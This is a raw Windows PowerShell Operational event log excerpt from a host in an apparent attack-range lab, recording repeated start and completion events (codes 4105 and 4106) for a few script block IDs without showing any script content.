Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988474 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988493 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988492 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988491 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988490 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988489 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988488 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988487 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988486 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988485 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:08 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988484 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988503 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988502 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988501 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988500 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988499 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988498 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988497 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988496 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988495 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:14 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988494 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988513 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988512 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988511 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988510 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988509 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988508 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988507 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988506 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988505 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:20 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988504 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988523 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988522 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988521 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988520 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988519 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988518 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988517 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988516 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988515 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:26 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988514 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988533 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988532 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988531 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988530 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988529 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988528 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988527 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988526 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988525 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:31 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988524 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988543 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988542 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988541 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1988540 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1988539 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:11:35 PM 